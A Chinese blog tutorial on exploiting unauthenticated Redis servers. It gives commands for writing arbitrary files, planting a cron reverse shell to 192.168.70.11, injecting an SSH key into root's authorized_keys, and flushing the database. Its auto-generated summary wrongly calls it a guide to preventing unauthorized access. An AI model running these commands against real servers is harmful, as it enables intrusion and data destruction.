打点-进入内网(二)

本文介绍了如何在Ubuntu上搭建Redis服务器,并详细阐述了如何通过配置Redis来防止未授权访问,包括设置访问密码、开启远程访问、写入文件、反弹shell等操作。同时,还提醒了Redis服务器可能存在的安全风险,如不恰当的配置可能导致数据泄露或恶意操作。
摘要由CSDN通过智能技术生成



前言

这类问题覆盖的应用、利用方式较广,因此只举例频次较高的漏洞。


一、Redis

Redis是一个开源的使用ANSI C语言编写、支持网绍、可基于内存亦可持久化的日志型、Key-Value数据库。

1.Ubuntu中搭建Redis服务器

安装

sudo apt-get install redis-server

在这里插入图片描述
安装完成后,Redis服务器会自动启动,我们检查Redis服务器程序

检查Redis服务器系统进程

ps -aux|grep redis

在这里插入图片描述

通过启动命令检查Redis服务器状态

netstat -nlt|grep 6379

在这里插入图片描述

sudo /etc/init.d/redis-server status

在这里插入图片描述

通过命令行客户端访问Redis

安装Redis服务器,会自动地一起安装Redis命令行客户端程序。
在本机输入redis-cli命令就可以启动,客户端程序访问Redis服务器。

redis-cli

在这里插入图片描述
在这里插入图片描述

查看所有的key列表

keys *

在这里插入图片描述
测试存储数据

set root hello-redis
get root

在这里插入图片描述

修改Redis的配置

使用Redis的访问账号
默认情况下,访问Redis服务器是不需要密码的,为了增加安全性我们需要设置Redis服务器的访问密码。设置访问密码为root。

用vi打开Redis服务器的配置文件redis.conf

sudo vi /etc/redis/redis.conf

#取消注释requirepass
requirepass root

在这里插入图片描述
让Redis服务器被远程访问
默认情况下,Redis服务器不允许远程访问,只允许本机访问,所以我们需要设置打开远程访问的功能。

用vi打开Redis服务器的配置文件redis.conf

sudo vi /etc/redis/redis.conf

#注释bind
#bind 127.0.0.1

在这里插入图片描述修改后,重启Redis服务器

sudo /etc/init.d/redis-server restart

在这里插入图片描述
未使用密码登陆Redis服务器

redis-cli
keys *

在这里插入图片描述
发现可以登陆,但无法执行命令了
登陆Redis服务器,输入密码

redis-cli -a root

在这里插入图片描述
登陆后,一切正常

我们检查Redis的网络监听端口
检查Redis服务器占用端口

netstat -nlt|grep 6379

在这里插入图片描述
我们看到网络监听从之前的 127.0.0.1:6379 变成 0 0.0.0.0:6379,表示Redis已经允许远程登陆访问

2.Kall下redis-cli的安装

下载redis-cli

wget http://download.redis.io/redis-stable.tar.gz
ls

在这里插入图片描述
解压缩

tar -zxvf redis-stable.tar.gz

在这里插入图片描述
简易配置

cd redis-stable 
make //全局生效 
cp src/redis-cli /usr/bin/

在这里插入图片描述
在这里插入图片描述

查看redis-cli的使用说明

redis-cli -h

在这里插入图片描述
常规连接指令

redis-cli -h 目标主机IP地址 -p  端口号

在这里插入图片描述

3.写入文件

Config Get 命令用于获取 redis 服务的配置参数

CONFIG GET dir

在这里插入图片描述
Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启

config set dir /tmp/

在这里插入图片描述
SET 命令用于设置给定 key 的值
如果 key 已经存储其他值, SET 就覆写旧值,且无视类型

set foobar "who are you? Rvn0xsy"

在这里插入图片描述

CONFIG GET dbfilename

在这里插入图片描述

CONFIG SET dbfilename write_file.log

在这里插入图片描述
保存

save

在这里插入图片描述

4.反弹shell - Linux

127.0.0.1:6379> set shell "\n* * * * * bash -i >& /dev/tcp/192.168.70.11/88 0>&1\n"
OK
127.0.0.1:6379> config set dir /var /spool/cron/
OK
127.0.0.1:6379>config set dbfilename root
OK
127.0.0.1:6379>save
[238]28 May 16∶29∶53.276 * DB saved on disk
OK

5.写入公钥

生成公钥:

$ ssh-keygen -t rsa

在这里插入图片描述

127.0.0.1:6379> config set dir /root/ .ssh/
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set x " \n\n\nssh-rsa XXXXXX root@kali\n\n\n"
OK
127.0.0.1:6379>save
OK

6.清空数据库

192.168.70.144:6379> FLUSHALL
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值